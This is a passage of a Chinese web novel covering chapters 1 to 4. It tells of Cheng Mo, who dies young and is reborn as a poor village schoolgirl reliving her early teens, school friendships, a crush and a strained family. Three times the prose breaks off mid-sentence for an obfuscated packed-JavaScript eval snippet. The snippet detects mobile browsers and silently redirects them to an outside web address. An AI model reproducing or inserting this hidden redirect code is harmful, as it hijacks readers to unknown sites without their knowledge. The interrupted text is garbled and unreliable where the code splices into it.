《重回非主流年代》 1. 第 1 章 程茉重生了。 睁开眼睛看到头顶的毛坯水泥天花板时，她还以为自己是在做梦。 直到母亲尖利的嗓音伴随被子被掀开带来的寒意让程茉忍不住打了一个哆嗦，她才意识到这一切真实得不像梦境。 “七点了还不起床！干脆别去上学了！天天看电视看到半夜，哪个要读书的人像你这样！” 紧跟在骂声后的是噼里啪啦的开窗甩门声，仿佛每一下动作都释放着滔天怨气。 身边有人拍了她一下，程茉侧头望去，只见一个八九岁左右的小姑娘揉着眼睛嘟着嘴，依稀和她记忆里的妹妹——程莉重叠起来。 程莉又轻推了她一下：“都怪你不起床，害我也没得觉睡。” 看起来还是小学生的程莉大概确实是不用这么早起的。 那她呢？现在是哪一年？ 程茉迅速从床上跳了下来，独属于早春的寒意瞬间席卷而来，冻得她忍不住又打了一个冷颤。 身体记忆让她快速而准确地跑向了洗手间，镜子里出现了一张稚嫩的少女面庞。乱糟糟的自然卷仿佛一堆野草散在脑后，额头上却覆盖着一顶铁板般僵直的厚重齐刘海，几乎遮住了眼睛。 这个可怕的发型迅速唤醒了程茉学生时代的记忆。 从小她就对自己那不听话的自然卷深恶痛绝，做梦都想拥有一头电视里洗发水广告那样顺滑的直发。 但窘迫的家庭情况下，父母不可能花钱支持她去拉直头发。直到小学毕业那年，在程茉的软磨硬泡之下，母亲同意了从她卖掉留了六年的长发的钱里面，匀出十块让她拉直了刘海。 程茉一边本能而机械地梳理头发，一边在脑海里估算着自己的年龄。不出意外的话，此时的她应该还是个初一学生。 在这个时候，厚齐刘海正广泛流行于小县城的少女群体中，也伴随了程茉初中高中整整六年。 “你还在磨蹭什么？赶紧洗脸刷牙去吃早饭！” 母亲的声音再次传来，程茉凭直觉快速找到了自己的牙刷完成洗漱工作。 程茉已经很多年没有听到过母亲这样的嗓门和语气了，仿佛面对的不是亲生女儿，而是相看两厌的讨债鬼。 自从她上大学以后，或者说自从她考上县城的重点高中开始寄宿生活以后，母亲就不知不觉间变成了一个温柔和善的人，说话也轻声细语的。程茉后来想，大概是生活的重担终于从母亲的肩头卸下，让她得以恢复本来面貌。 但此时，她的母亲仍在每日面对难以承担的体力活和繁重的家务，本事不大脾气不小的丈夫和尚不懂事的女儿。残酷琐碎的生活让她的怨气难以抑制，只能向下释放。 程茉快速收拾好自己之后，跑回房间找出装着课本和文具的“书包”——一个泛黄结实的服装店常用塑料袋，根据课本确认了自己的年龄和所处年级。 初一第二学期刚开学不到一个月，此时的她还不到十三岁。 “现在知道急了，怎么不再躺会？吃了早饭再走！”母亲从厨房出来，把手里的粥碗重重放在餐桌上。 楼下传来一阵鸭子的嘎嘎声，“叫叫叫，都是一群讨债鬼！”母亲的骂声与鸭子的叫声和在一起，提着半桶玉米的身影往楼下走去。 程茉瞄了眼电视机旁边的石英钟，六点四十，于是在餐桌前坐了下来。 普普通通的白米粥，和记忆里一样温暖的味道从舌苔滑到胃里，程茉的眼睛不觉有点湿润。 一出门，凛冽的寒风迎面吹来，好在没有下雨。程茉紧了紧不太暖和的外套，踏上了记忆里的那条小路。 说是小路，其实就是宽一点的田埂罢了。当然通往学校也有正经的大路，就是要绕远不少罢了。所以即便是遇上下雨，田路泥泞，她们村里的学生还是会选择省下那二十分钟。 这条路，程茉走了三年。每个上学的日子里都要走四趟——为了省下餐费，程茉不在学校食堂吃午饭。每逢下雨时，脚下的路在雨水的滋润下就变成了泥巴地，往往等她走到教室时，膝盖以下的裤腿和鞋袜已经湿透。 程茉记忆深刻地记得，某个雨天，她深一脚浅一脚地赶到教室时，听到站在讲台上的班主任教育其他同学：“人家程茉家里那么困难，天天泥巴路走过来，学习还那么刻苦，你们有些条件好的还不知道珍惜。” 接着程茉就在所有人的目光里，拖着布满泥点的裤腿，深垂着头走到了自己的座位。 同桌悄声说班主任表扬了她一早上，但那时的程茉却恨不得把头埋进课桌，以避开所有人的目光。 记忆里破旧的校园很快出现在了眼前，程茉收起泛滥的回忆，找到了自己的班级。 然后她不出意外地找不到自己的座位了。 “程茉！快来坐这里！”循声望去。第二排一个留着齐肩短发的女孩正朝她招手。 程茉走过去，顺势坐在了她旁边。 “你今天来得挺巧，时间到了杨琳还没来，可以把座位抢回来啦！”女孩开心地对她说。 这句话让程茉愣了一下，随后是如海浪般席卷而来的回忆。 是了，初一的某段时候，班主任黄仁突然规定，每天早读前还空着的座位，将根据先到先得原则分配。规则生效的第一天，程茉就失去了自己前排的座位，搬到了最后一排。 即便第二天程茉七点就早早到了学校，但不巧前一天坐了她座位的杨琳同学在七点十分前也进了教室。 那时的程茉固执地觉得她先到了座位就应该归她，两个人僵持着互不相让，直到班主任进来一锤定音，座位属于杨琳。 程茉心里委屈，不知道哪来的勇气，没有立即听老师的话回到后面，就固执地在那里站了好一会儿，也不说话，只拼命忍着眼泪，直到早读老师进教室她才默默回到后面。 只是，后来程茉就再没为了占座位早到过了，安安静静地在后面坐了一个多月，直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535882|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到期中考后按成绩重新排座位，那条班规也随之废止。 连同那个早上莫名其妙的程茉一起，被所有人逐渐遗忘。 见程茉不出声，同桌小心翼翼地开口：“程茉，你还在生气啊？” 程茉偷瞄了一眼女孩课桌上的作业本，顺利捕捉到了方慧慧三个字，依稀有点印象，但不算很亲密的朋友，前世应该只是同桌了不到一个月。 想来方慧慧也对程茉昨天的反常表现印象深刻。 程茉摇摇头朝她笑了下也没有说什么，刚好这时有老师进来了，便赶紧拿出和方慧慧桌上一样的英语课本开始早读。 “第二单元的课文还没背掉的今天早读抓紧，等会上课抽背。” 程茉抬头看了眼说话的英语老师，依稀记得她姓江，是她们班所有老师里最年轻的一个了，圆圆的脸性格也爽朗。 可惜程茉前世在初中时英语不太行，最怕在英语课上被叫到回答问题了，所以对这位江老师只能说是敬而远之。 但现在不一样了。 程茉翻开课本，眼前这熟悉又有点陌生的英语课文对于现在的她而言，难度和看中文差不了多少。 谁能想到初一英语及格都有些困难的程茉，高考却是靠它的142分才擦线进了重本呢。 “惨了惨了，我还不会背，程茉怎么办啊？”注意到江老师转到后排去的背影，身边的方慧慧小声地哀嚎道。 程茉也小声回她：“还有时间，我们一起加油背吧。”然后放开声音朗读起来。 课文其实很短，估计也就50词左右，程茉很快就背了下来。转头看方慧慧还在挣扎读音，她便主动提出帮忙。 经过几次带读和句法解释，到下课铃响时，方慧慧终于也磕磕绊绊地背了下来，她高兴地不得了，抱着程茉的胳膊夸个不停。 程茉哭笑不得，心里却也涌上一股隐秘的喜悦。 上辈子到了大学后，程茉才意识到自己原来学的都是哑巴英语只会做题，为此自卑不已，但此刻真正帮助到别人时，她还是会由衷地感到快乐。 “茉茉，你又回来了，我好开心！” 刚整理好要交的作业，程茉就被抱了个满怀。她挣扎出来，看见了一张熟悉的脸。 是她初中最好的朋友陈晓萱。 她还是那个大大咧咧敢爱敢恨的张扬小女孩，但程茉却已无法找回曾经的熟稔和亲密来自如地回应她的热情。 到程茉重生前，她们已有十多年未联系过了。 陈晓萱却并未察觉到她的不自然，程茉在公众场合一向如此，内敛羞涩，两人是完全相反的性子，却意外很合拍。 陈晓萱只当程茉又害羞了，压低了声音在她耳边小声絮叨：“哎呀，你昨天坐在后面，都没看到梁晴又摸你家徐逸脸了……” 而再次听到那个曾深深刻在心里的名字，程茉恍惚间，已然自动屏蔽了女孩的声音和其中所透露的内容。 2. 第 2 章 徐逸，是程茉“暗恋”了整整六年的人，是她上辈子谈的第一次也是唯一一次“恋爱”。 说是“暗恋”，其实是周边大部分同学包括对方都心照不宣的明恋。 说是“恋爱”，却是一段从告白确立关系到分手断开联系，都完全只在手机上进行的不算恋爱的恋爱。 没有得到意想中的回应，陈晓萱似乎终于意识到自己的好闺蜜今天有点奇怪。 “你咋了茉茉？不会是被气傻了吧？” 程茉低头掩去眼底的情绪，咳嗽了一声道：“没有，可能是早上起太早冷到了身体有点不舒服。” “啊，程茉你感冒了啊！要不要紧啊！”陈晓萱的嗓门骤然升高，引来了周边一群人的瞩目。她却毫不在意，悄悄眨了下眼又朝另一边喊道：“徐逸，你有没有感冒药啊？” 程茉被她这一连串十分刻意的行为惊了一下，后悔自己怎么忘了上辈子她的“暗恋”变成“明恋”可少不了这位的助力。 “我没事，不用麻烦了。马上上课了，你赶紧回座位去吧。” 连忙应付完陈晓萱，似有感应般，程茉略微偏头，和一双清亮的眸子对上了视线。 此时的徐逸还只能算是个男孩，不可否认他清秀的脸庞和优异的成绩在这间灰扑扑的教室里依旧干净地发着光，但程茉那历经初高中六年层层累积的情愫早已在那一年名不副实的恋爱关系里消磨殆尽，她那颗敏感悸动的的少女心也已被日复一日的工作磨成了一滩死水。 男孩比她更快地移开了目光，低头继续书写着什么。 铃声恰到好处地响起，程茉坐回自己的位置，全身心投入到了课堂。 一天的课上下来，程茉比预想中适应得更好一些。 语文一直是程茉学生时代的强势科目，甚至她一度想过要学中文专业；其他几门课本来也不算弱，再加上成年人的理解能力和不同往日的全神贯注，几次被提问都表现得可圈可点。 曾经唯一算是拖后腿的学科更不用说了，程茉只担心自己一天之内进步太大吓到老师，被抽到背书的时候还假装卡壳了两次，背错了一处。即便如此，江老师还是将程茉拎出来作为正面例子大夸特夸，着重强调了她今天早读的时候多么专注。 “另外，程茉同学的语音也非常标准，以后要多读多说，不要害羞啊！” 程茉赧然，又忍不住庆幸自己刚刚还加了点方言口音，不然江老师估计就得怀疑她一夜之间去哪进修了。 小县城的教育资源有限，又只重视应试，上辈子程茉在上大学后意识到自己的语音有多么糟糕后，一度深受打击。为了纠音，她花费了许多功夫，才有了后来一口流利标准的英音。 也算是程茉大学期间为数不多的收获了。 这一天程茉过得相当充实，上课自不用说，下课也“不得安生”。每节课下课身边都有女孩子凑过来，让她很是花了点脑细胞搜索回忆认人。 “程茉，要一起去厕所吗？”这是诚邀她共赴洗手间的同桌，可惜长大后的程茉已经无法享受和好朋友手挽手去洗手间的乐趣。 “茉茉，今天又周五了哦，你给你家徐逸写的‘小情书’好了没，要不要我帮你给他？”这是沉迷当她感情助攻的陈晓萱，但回忆起自己曾经每周五给徐逸送小礼物写祝福卡片的迷惑行为的程茉对此只能敬谢不敏。 “程茉，朱老师刚刚分析的你那篇作文可不可以给我看一下？”这是语文课后来借作文本的学习委员林然然。 “程茉程茉，等会黄老龅的课，歌词本借我一下呗。昨天题没做出来又要去唱歌了……”这是做错数学题要被班主任惩罚课前唱歌的谢青芸。 “小茉茉，你那本项羽的小说写到哪了，快借我看看！”这是带程茉踏进小说圈的梁晴。 …… 程茉有点难以想象成年后社恐孤僻的自己，原来在学生时代身边也曾这样热闹过。 直到放学铃响，程茉才总算松了一口气，快速应付掉试图拉住她八卦的陈晓萱，独立踏上了回家的路。 作为程茉曾经无话不谈的好闺蜜，陈晓萱从头到尾见证了她对徐逸的暗恋史，也因而，程茉今天对徐逸避而不谈的态度确实显得很奇怪。 但一想到要怎么处理这段高调的暗恋，程茉不觉有些头疼。 比起这个，还是重生这事更值得程茉思考。 刚到家，正在看电视的妹妹头也没转地抛来一句话：“晚上吃什么呀？” 程茉想起这时候父母都还在外面工作，家里的晚饭一向都是她负责的。 程茉父亲是手艺还不错的建筑工人，砌墙贴砖都是一把好手，母亲则跟在他身边做小工帮忙。这年头到处都在建房子，两人不缺活干，虽然辛苦，加起来的工钱也不低。 但没办法，程茉和妹妹都是超生，当初为了交罚款，不仅掏空了本就微薄的家底，还欠了亲戚不少债。这两年好不容易才还清，姐妹三个的学费又成了一大负担。 是的，程茉还有一个刚上大二的姐姐——程兰。 “二姐，你还不去做饭吗？等会妈妈回来又要骂人了。”程莉奇怪地看了眼愣在原地发呆的姐姐。 “你也一起来帮忙，别整天就知道看电视。” 程茉放下手里的书袋，去厨房舀米煮饭。 “你不也天天看电视到半夜。”程莉瘪了瘪嘴小声嘀咕，但还是关了电视机跟了上去。 家里没什么菜，程茉看了眼翻出几根辣椒和一颗白菜：“嗯，以后不看了，你也别跟着学。把这些洗了。” “为什么啊？刘谦你也不看啦？”程莉有点着急，二姐不看电视的话她也就没机会跟着一起看了，爸妈不可能允许她一个人那么晚不睡觉。 程茉愕然，想起了自己人生首次追星经历，只记得自己当时可怜的几块零花钱全拿去买盗版周边贴纸小卡片了。心里不免好笑，手上切菜的动作却不停。 “不看了。因为啊……你姐姐我要好好学习了。” 程莉无语，对这话是半点不信。 父母到家的时候，程茉刚好将饭菜端到桌上，一碗辣椒炒鸡蛋，一碗水煮白菜，就是她们一家的晚饭了。 “今天的菜味道不错啊。”程林生一边大口扒拉碗里的饭菜一边点评道，“所以说还是要多练，熟能生巧，这不就进步了嘛！学习也是一样的，小茉啊，你现在初一阶段要打好基础，少胡思乱想，专心学习以后考个好大学，别跟你姐一样，至少上个一本啊……” 程兰上的是省里的普通二本，却也已是村里少有的大学生了。程茉曾不止一次听到父亲一边赶着鸭子一边和村里人高声“分享”自己的教育理念。 即便毕业后就远离家乡多年来甚少沟通，再次听到父亲的说教，程茉心里还是忍不住涌起一股无名怒火。 重生前姐姐曾有一次问过她和程莉：“为什么你们就不能原谅爸爸，他也没做什么特别过分的事啊？” 比起姐姐来，程茉承受的确实都算不了什么。 作为第一个孩子，程兰是从小被打到大的，最严重的一次被程林生一巴掌扇到门上导致耳鸣。 从几岁起，程兰就开始承担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535883|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家务活计，现在他们住的这栋房子，是程林生前几年自己一点点建起来的，其中搬砖和泥自然也缺不了程兰。早年更是随着父母到处奔逃躲避计划生育的检查，不停地换学校，朋友也没有几个。 前年因为高考发挥失常只上了二本也是被挖苦讽刺了整整一个暑假。 但程兰很要强。程茉知道她大学期间一直勤工俭学，加上助学贷款，大学以后就没再从家里拿钱。 毕业后程兰更是凭着优异的成绩进了省会一家很不错的公司。之后程兰因缘际会之下与公司的上司结婚生子，有了自己的小家，一个与原生家庭完全不一样的，没有贫穷和暴力的正常的家庭。 所以她释然了，仿佛小时候受的苦都早已忘却。 但程茉做不到，她无法和解。 因为她没能过好自己的人生。 程茉性格里的自卑，懦弱，悲观，让她一次又一次地陷入生活的泥潭，而她一度认定这一切根源都来自于她的父亲。 程茉听他的话考上了一所很不错的大学，选择了一份他眼里光鲜亮丽又稳定的体制内工作，然后，不适合的性格让她在六年的职业生涯里不停内耗，直至抑郁差点放弃生命。 鬼门关里转了一趟回来，程茉忽然间就想通了。她毅然辞职放弃了众人羡慕的好工作，带着那几年攒下的几十万存款，一个人去了南方的温暖小镇，想要重头开始为自己活一遭。 在那个租来的四季如春的小院里独居的半年，是程茉近三十年人生里最快乐最自在的一段时光。 可惜命运无常，工作那几年频繁地熬夜，暴饮暴食，焦虑痛苦终究还是给程茉的身体造成了不可挽回的伤害。 她被查出来胃癌晚期，在不到三十岁的那一年。 病痛来势汹汹，程茉很快就倒下了。生前的最后两个月，她又回到了她努力逃离的家乡，在姐姐妹妹和妈妈的陪伴下，走完了短暂的一生。 程茉最终也没和父亲和解，在她毅然辞职告知家人消息的时候，他们两个仿佛成了最势不两立的仇人，说尽了一切极具伤害力的话语，势要将对方捅得体无完肤。 最后的时光里，程林生也曾独自来她房间看过她，好几次站在床前嗫嚅着想要说些什么，却终究碍于尊严又将话都吞回了肚子里。 程茉也并不想听。她想她还是恨着的，所以不愿原谅，不愿和解。 而此刻，一切又重头来过。 如今的程茉还是不想听，但暂时也没有“改造”他的欲望。毕竟这个时候的父亲还是那个会动手打人的说一不二的一家之主，程茉可不想白受气。 快速扒完了碗里的饭，程茉就回房间去了，只留给他们一句：“我去写作业了。” “女孩子大了真是说也说不得了，脾气大心思又多，。”程林生有点不满，但终究看在今晚味道很不错的饭菜上，没有发作。 又转向小女儿程莉：“你可别学你二姐，整天胡思乱想把脑子都想坏了，哪里还读得进书？看着吧，初中人家男孩子认真起来，她还不知道得退到哪去呢。” 程莉本能地反驳：“二姐说了她会好好学习的……” “嘁，我还不知道她，三分钟热度！” “好了，鸭子还等着喂呢！”苏萍放下碗筷，“程莉，你赶紧去把碗洗了，早点洗澡睡觉！” 程莉撇了撇嘴，慢吞吞地收拾碗筷，耳边又响起了鸭子的嘈杂叫唤。 “什么时候才能和大姐一样离开这里呢？” 轻声的嘀咕混着水流很快被冲进了下水道，又随楼下的河水飘摇远去。 3. 第 3 章 在这个没有手机没有电脑的夜晚，程茉只能选择学习来打发时光，也正好理一理自己这崭新的人生。 上辈子的程茉这时候一门心思扑在暗恋对象身上，整天一股脑地单方面自怜自艾，胡思乱想，某种程度上来说，父亲对她的评价并没有错，但程茉还是免不了对他高高在上地指责感到反胃就是了。 幸运的是，不务正业如此，程茉还是凭自己尚且算是好用的脑子和初三的最后冲刺，卡线进了市重点高中。 但重来一回，程茉想看看，真正去努力一下的话，会不会有更好的结果。 程茉将课本一一拿出来翻阅整理，顺手在草稿纸上列下计划。 初一的知识对现在的程茉而言算得上简单，文科就不用说了，一向都是她的优势，重生前也一直都有或多或少地接触。 理科的话数学算得上是一个挑战，毕竟高考后就没再碰过，估计要从头打基础了。 值得庆幸的是，在H省这边物理化学要分别等到初二初三才开始学习，她不用一下子抓三门。 程茉找出上学期的数学课本，翻到第一章开始看起来。 “爸爸又一个人霸占着电视看那些无聊的打战片子了……”程莉抱怨着走进房间，看见的就是灯下姐姐安静坐着的背影。 程莉收声上前悄悄瞄了眼，是自己看不懂的数学题。她百无聊赖地在房间里转了两圈后，还是翻开自己的书包袋拿出了家庭作业坐在了旁边。 灯光下，两个小小的影子在房间的水泥地面上交相辉映。 ******** “赶紧起来了，你还要不要去买衣服的？” 一大早，母亲的大嗓门又一次把程茉从睡梦中唤醒，她揉着眼睛从床上艰难地爬起来。 “前几天天天念叨着要买衣服，现在又要睡到中午，别等我上工了你又来哭！” “天天买这个买那个，老娘辛辛苦苦挣那点血汗钱都不够你们这群讨债鬼花的……” 伴随着母亲的抱怨，程茉麻利地洗漱收拾好自己，一看时钟，才六点不到。忍不住在心里感叹，初中都没机会念完的母亲，夸张手法却已运用得炉火纯青。 打开装衣服的泡沫箱子，看着里面那几件从表姐堂姐传到自家大姐又传到她这的，有些辣眼睛的大红大绿衣裳，程茉终究还是咽下了不去买衣服的想法。 刚踏入青春期的女孩子尤其爱美，更不用说她有着每天上学都要面对的“暗恋对象”和“假想情敌”。程茉想起了那个小女孩少年时期的委屈和自卑，即便长大后她可以买许多漂亮衣服来让自己释怀，却还是想要补她一段美好的青春时光。 “我保证今天就只买一件，好吗妈妈？”程茉一手拿称，一手提起一篮鸭蛋，忍不住带上了前世的撒娇语气。 程茉和母亲的关系自她上高中后就逐渐好转，工作后因为离家远，一年见不了几次，每年母亲都会到她所在的城市住上一个月，母女间相处亲密得几乎和大部分普通家庭没什么区别。 程茉也是这样，在变成成年人后，才慢慢学会了撒娇，学会了开口说爱。 但此时还未学会这些的苏萍，却不禁有些恍惚了，好一会儿才扔下一句：“你还想买几件呢？” 语气里却已寻不见那常年凝固彷如实质的怨气和凶怒。 程茉回头看了眼还在梦乡中的程莉，腾出手带上门，跟上了前方挑着两笼鸭子的母亲，脚步中仿佛依稀带着几分难以察觉的雀跃。 去镇上市集的路不算太远，步行二十分钟左右就到了，程茉先陪着母亲去了一楼的菜市场，顺利抢到了一个摊位。 今天生意不错，程茉一边帮着收钱找零，顺便在或熟悉或陌生的大人问起她时，微笑着叫人装乖巧。 不到两个小时，六只鸭子和一篮鸭蛋就卖完了。 接着两人又去挑挑拣拣买好了接下来几天的菜，程茉才跟着母亲上了二楼的服装市场。 然后程茉就两眼一黑。 只能说箱子里的那些丑衣服真不能怪谁，要怪就怪时代和地域的局限性。 程茉记得她很小就对美有了自己的理解和追求，小学六年级不知道受哪部电视剧影响，磨着母亲走完了服装市场两条街要买一身纯白的衣服；高中到了市里，独自一个人逛了一家又一家服装店，只为了买一件适合少女的衬衫。 但最终她都没有成功，在这个偏僻的小镇上，在当下的审美里，根本找不到一件符合她当时要求的衣服。 更不用说是现在这个见识过网购背景下服装盛世的程茉了。 程茉走遍了两条街的服装铺面，终于在尽头一家小店里，翻出了一件米黄色的粗针毛衣，没有当下流行的亮片印花字母装饰，它看起来有些简陋。 但程茉很满意它的简陋，也很满意它的价格——在母亲的砍价神功下，最终只花了18元。 回到家程茉多少还是有些被打击到，忍不住又把自己那箱衣服全翻出来重新审视了一遍，挑出能穿的勉强搭配出来两三身。 正要松一口气换回原来的衣服，程茉又留意到了镜子里自己那厚重的齐刘海。她找出几个黑色一字夹，把大半部分刘海梳了上去用夹子固定住，剩下一小部分稀薄的发丝，算是勉强有了空气刘海的雏形。 “要我说你早就该把头发全梳上去，露出脑门来多精神，也省得花那冤枉钱去拉直。”母亲瞥见了程茉的新发型，不太明显地肯定了一句。 程茉叹了口气，条件太艰苦，只能拯救到这地步了。 还是得努力挣钱啊。 于是，吃过午饭，程茉发愤图强又继续与数学题作斗争去了。 母亲对此惊异不已，一整天说话声都小了许多。 就是程莉倒霉地刚想趁父亲不在打开电视看一会儿，又被数落去写作业了。 新的周一到来时，程茉在母亲的人声闹钟响起前，就在这两天自觉养成的生物钟作用下醒了过来。 看着镜子里刚洗完脸清水出芙蓉般干净的少女面庞，程茉还是忍不住有些怔忪。看惯了十几年后那张疲惫憔悴仿佛世间一切都了无生趣的脸，眼前这张算不上十分惊艳，却带着几分难得的稚气执拗的满是胶原蛋白的面孔，已是最美丽不过的了。 而前世少女时代的程茉，却因为种种原因，被自卑困住，以至于成为一生的桎梏。 程茉扯起嘴角笑了笑，带着几分暮气的眼睛也染上了青春的甜意，弯弯的仿佛月牙儿。 套着昨天搭配好的米白色毛衣和牛仔裤，程茉再次踏上了去学校的路。 程茉走进教室的那一刻，坐在教室门口的陈晓萱眼尖地第一个注意到了，紧接着就是大声的一句：“程茉！你换发型了啊！” 于是所有人的目光自然而然地聚焦到了程茉的身上，其中也包括坐在后排角落的李颂。 李颂循着大家的目光望向门口，那个他最熟悉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535884|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的身影便跃入眼帘。 说熟悉，却又有几分陌生。 明明只是过了一个周末。李颂却觉得程茉仿佛完全变了一个人一般。 清瘦的女孩子穿着一件简单的米白色毛衣，略显宽大的衣服看起来蓬松又柔软，在三月末早春的寒气里带着毛茸茸的暖意。微卷的长发被扎成了一个高马尾，露出了雪白光洁的额头和脸蛋。 李颂的目光停滞在女孩的额头上，是了，是发型变了。 原来那厚重的快遮住眼睛的齐刘海不见了，只余几根细碎的发丝，在微风轻抚下缓缓摇曳着，一下一下扫动着少年的心潮。 李颂从来没有觉得程茉有多么惊艳的漂亮。在他看来，程茉的美是需要时间才能察觉的，如茉莉的清香，仿佛微不可闻，却在某一刻乍然沁人心脾。 他很幸运，有比别人更多的时间，察觉到她的美。 李颂对程茉的那点格外关注，与她漂不漂亮毫无关系，更多来源于小学三年前后桌的长久相处。 那时的程茉，还有些活泼，甚至可以说是有些霸道。她会用蛮横的语气要求他不许碰到她的桌子，还在他的外套后面留下过不少“惩罚”的笔迹。 但进入初中后，程茉就仿佛忽然之间长大了。她变得那么安静，那么腼腆，成绩倒是一如既往地那么优秀，离他的距离却越来越远。 他们甚至很难再说上一句话。 那个霸道却骄傲的小女孩，仿佛只存在过李颂一人的记忆里。 他是这个班上，唯一见过那个小女孩的人。 “诶，你别太明显，眼珠子都黏人家身上了。” 李颂被旁边的刘建戏谑着推了一下，终于收回了目光，“你别乱说！” 小声的辩驳被微微泛红的耳朵衬得有些许苍白，刘建自诩自己是个善解人意的好兄弟，也就没有再加把火。 只是再看向前方那个如同卸掉蒙尘的明珠般闪耀着的女孩，刘建多少还是为自己兄弟的感情前途有点担忧。 在这样的注目下，程茉朝陈晓萱轻点了下头，快速走到了自己的位置上坐下，拿出语文课本开始早读。 仿佛所有的喧嚣都与她无关，只有在响亮的读书声掩藏下略微加快的心跳知道程茉的不那么平静。 程茉一直以来都很害怕成为人群的视线中心。 但此时此刻，程茉却隐隐察觉到，在这份因他人的关注而带来的紧张下，还有微小的信心在悄悄生发蒸腾。 下课铃声一响，程茉就被双眼亮晶晶的方慧慧拉着盘问：“程茉，你今天也太好看了吧！这个发型好适合你，衣服也好漂亮，哪里买的呀？” “之前的刘海太长有点挡眼睛了。”程茉浅笑着解释，又说了买衣服的店铺名字和位置。 “原来步行街也有这么好看的衣服吗，程茉，有机会你可以带我去逛逛吗？”林然然伸手摸了摸程茉的毛衣。 程茉看了眼她漂亮厚实的毛呢外套，笑着点头说好。 周边的女孩们也围过来开始叽叽喳喳地讨论起哪里的衣服好看，最近偶像剧的流行来。 程茉一边微笑地听着，一边适时地插入几句自己的看法：“是啊，女主那件斜肩短裙好漂亮……” 话音未落，程茉眼前忽然陷入黑暗，被谁捂住了眼睛，耳边随即传来一道稍显做作的女孩声音： “小茉茉，这两天都不来找你姐姐我玩了，不会是把人家忘了吧？” 4. 第 4 章 听到这句“姐姐”，程茉立马就知道是谁了——与陈晓萱并列的，她们班两大社交恐怖/分子之一的梁晴。 两位都是既能和女生打成一片也能与男生勾肩搭背的班级风云人物，且都与程茉关系不菲。 就是不知怎么地，她们两个互相看彼此不太顺眼。 程茉发现自己时隔多年，还是有点无法招架梁晴在公众场合的过分亲密，只能无奈地拿开她的手，转移话题：“怎么会，你不是上周才借了我那本小说去看吗？” “哼！没有最好，不然我可饶不了你。”梁琴旁若无人地顺势揽住程茉的腰，语气里带着有些腻人的撒娇：“我们两个最好了~” “什么小说呀，程茉你又新写了小说吗，我也要看！”挤上前的女孩双眼亮晶晶地看着程茉。 程茉对她并不陌生，周若玥，算是前世为数不多一直保有联系的朋友之一。不出意外的话，她目前应该也是班上女生中成绩最好的那个。 “对呀，是关于项羽的哦，可好看了呢！”梁晴抢答，“不过你得等我先看完哦，毕竟我必须得是我们家小茉茉的第一位读者。” “好吧。”周若玥略有些失望，又连忙补充，“梁晴你看快一点啊！” “对啊对啊，我要排周若玥后面。” “还有我还有我，我也要看！” 程茉在女孩中的人缘一向是不错的，学生时代尤其如此。 在这个电子产品还没普及，娱乐方式匮乏的小镇上，程茉总有一些新鲜的点子能带领起一小片潮流。 比如换装游戏还只停留在4399网页阶段，农村女孩的零花钱又还难以负担起买太多换装贴纸的花费时，程茉会用作业本，草稿纸自制小人和各种各样漂亮新奇的纸片衣裙。 哪怕程茉很少用彩笔上色，也不懂阴影透视，那些复刻了偶像剧的黑白线条裙子依然能够让大部分女孩玩得不亦乐乎。 又比如，程茉拥有三大本歌词本，几乎涵盖了近几年流行的所有热门歌曲，谁想唱歌或“被迫”唱歌，第一反应都是向程茉借。 再比如，程茉在笔记本上自创的小说，拥有几乎半个班级的读者，常常连她自己也不知道传阅到哪里了。他们看不出文笔的好坏，也不在乎情节是否狗血老套，毕竟能接触到的课外读物也寥寥无几。 在707班女孩子的眼里，程茉是“当之无愧”的才女。她的才华既是每周被语文老师夸奖朗读的作文范本，也是少女们热爱追捧的流行。 于是，拜新形象和梁晴透露出来的新小说所赐，程茉这一整天的课间都在应对不同女孩子的各种问题，也很快就熟悉了对这些多年不见的同学们的记忆。 就连老师们也都注意到了今天有点不一样的程茉，于是几乎每节课她都得到了被叫起来回答问题的机会。 英语课上，江老师更是叫她领读了一段课文。程茉到底怕误人子弟，也就不得不用尽量标准的语音完成了朗读，自然也就又一次收获了江老师得大肆表扬。 也不是没有同学好奇来询问她怎么进步得如此之快，程茉只能又搬出自己上大学的姐姐。 倒也不算完全撒谎。 毕竟上辈子程茉能将英语从短板变成优势，起因就是姐姐在她初三那年自费为她报了一个课外培训班。从此程茉的英语一点点进步，从初一的勉强及格到中考的优秀线以上，再到高中的稳居全班第一，最好的一次程茉甚至考过全校最高分。 忙碌而充实的一天结束，下午五点，程茉总算可以回家了。 因为怕走夜路出安全事故，这里不住校的学生是不用上晚自习的。 程茉是班上为数不多的走读生。 